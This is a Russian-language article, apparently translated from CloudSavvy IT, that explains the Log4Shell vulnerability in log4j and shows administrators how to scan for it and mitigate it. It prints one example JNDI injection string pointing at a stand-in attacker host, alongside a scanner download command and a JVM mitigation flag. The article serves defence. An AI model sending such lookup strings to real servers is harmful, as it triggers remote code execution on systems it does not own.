Как проверить, уязвим ли ваш сервер для эксплойта log4j Java (Log4Shell) – CloudSavvy IT

Обнаружен критический эксплойт в широко распространенной библиотеке Java, нарушающий большую часть Интернета, поскольку администраторы серверов пытаются его исправить. Уязвимый компонент log4j используется везде как включенная библиотека, поэтому вам нужно будет проверить свои серверы и убедиться, что они обновлены.

Как работает этот эксплойт?

Что касается эксплойтов, уязвимость log4j на сегодняшний день является одной из худших за последние несколько лет, получив редкую 10/10 по шкале CVSS, и будет преследовать весь Интернет в течение многих лет.

Что еще хуже, log4j не является приложением – это библиотека с открытым исходным кодом, используемая многими другими приложениями. Возможно, вы не установили его напрямую; он может быть включен в другие файлы .jar или установлен другими приложениями в качестве зависимости.

По сути, он позволяет злоумышленникам отправлять текст в ваше приложение, и если оно где-то регистрирует его (например, регистрирует строку агента, управляемую пользователем, на веб-сервере), ваш сервер выполнит вредоносный код. Формат текста похож на следующий пример: предельно простая строка, содержащая ссылку на удаленный адрес.

$ {jndi: ldap: //attacker.com/a}

Уязвимым компонентом в log4j является интерфейс именования и каталогов Java, который позволяет фреймворку журналирования делать удаленные запросы. За исключением того, что он также десериализует файл в этой конечной точке и может загружать файлы .class, содержащие удаленный код. Что плохо.

Я уязвим?

Эксплойт был быстро исправлен в последней версии log4j, 2.16.0, но проблема не в его устранении, а в том, чтобы выяснить, где вам нужно. Поскольку log4j является встроенной зависимостью, поиск конкретной его версии в вашей системе может оказаться нетривиальным. А поскольку Java настолько популярна, ее могут использовать многие сторонние инструменты и компоненты, поэтому вы даже не можете знать если вы используете программное обеспечение Java на своих машинах.

Даже если вы думаете, что не уязвимы, вам, вероятно, все равно нужно дважды проверить. Этот эксплойт затрагивает так много систем, что есть большая вероятность, что вы используете log4j или Java, не осознавая этого.

К счастью, версии JDK выше 6u211, 7u201, 8u191 и 11.0.1 не подвержены влиянию основного вектора атаки (с использованием LDAP), который сейчас наиболее часто используется. Тем не менее, вам все равно нужно исправить его, поскольку его можно легко использовать и с другими векторами атаки. Кроме того, простой запрос к конечной точке может раскрыть данные о машинах в вашей сети, что тоже нехорошо.

Этот эксплойт подчеркивает, почему важно вести Спецификацию программного обеспечения (SBOM), в основном список всего программного обеспечения в ваших системах, откуда оно взято и из чего оно сделано. В будущем эти знания помогут вам быстро устранять подобные атаки.

В настоящее время вы, вероятно, просто беспокоитесь о том, чтобы исправить свою сеть. Для этого вам необходимо просканировать свои системы, чтобы найти версии log4j, используемые вашим программным обеспечением, и составить список всех уязвимых компонентов.

Сканирование вашей системы

Многие люди уже создали сценарии для автоматического сканирования систем на наличие уязвимых установок, например, популярный сценарий, написанный на Python, и сценарий от компании LunaSec, занимающейся безопасностью. Одним из самых простых в использовании является этот простой сценарий bash, который может сканировать ваши пакеты и определять версии log4j, а также может сказать вам, использует ли ваша система вообще Java. В большинстве случаев вы захотите запустить несколько сканирований с разными сценариями, потому что не гарантируется, что какой-либо из них будет на 100% эффективным при выявлении каждой уязвимой системы.

Вы можете скачать его и запустить с помощью нескольких команд. Он должен запускаться от имени root для сканирования всей вашей системы, поэтому, конечно, будьте осторожны, какие скрипты вы запускаете с привилегиями root из Интернета. Это тоже выполнение произвольного кода.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q chmod + x log4j_checker_beta.sh sudo ./log4j_checker_beta.sh

Результаты этого сценария подчеркивают, что именно делает эту уязвимость log4j такой ужасной – запуск ее на моем личном сервере показал, что я был уязвим для эксплойта через несколько дней после нулевого дня, несмотря на то, что я думал, что у меня не установлена ​​Java на этой машине, потому что я Я не использую собственное программное обеспечение Java.

Elasticsearch работает в фоновом режиме на этой машине, написанной на Java. Мне не нужно было устанавливать Java вручную, чтобы установить Elasticsearch; он включает связанную версию OpenJDK. Он включает log4j в эту установку и уязвим для эксплойта.

Исправление, по крайней мере для Elasticsearch, заключается в обновлении всех пакетов и соблюдении их руководств по смягчению последствий. Скорее всего, так будет с любым программным обеспечением, которое вы используете; вам нужно будет обновить log4j напрямую, обновить программное обеспечение, связанное с ним, или исправить его, используя любые передовые методы защиты, которые используют другие люди.

Если вы не можете исправить jar-файл по какой-либо причине, вы можете использовать этот флаг JVM для смягчения проблемы, который просто сообщает log4j никогда не выполнять поиск при форматировании сообщений. Однако это не рекомендуется, и вам следует попытаться установить log4j 2.16.0 везде, где вы можете, чтобы полностью решить проблему.

-Dlog4j2.formatMsgNoLookups = true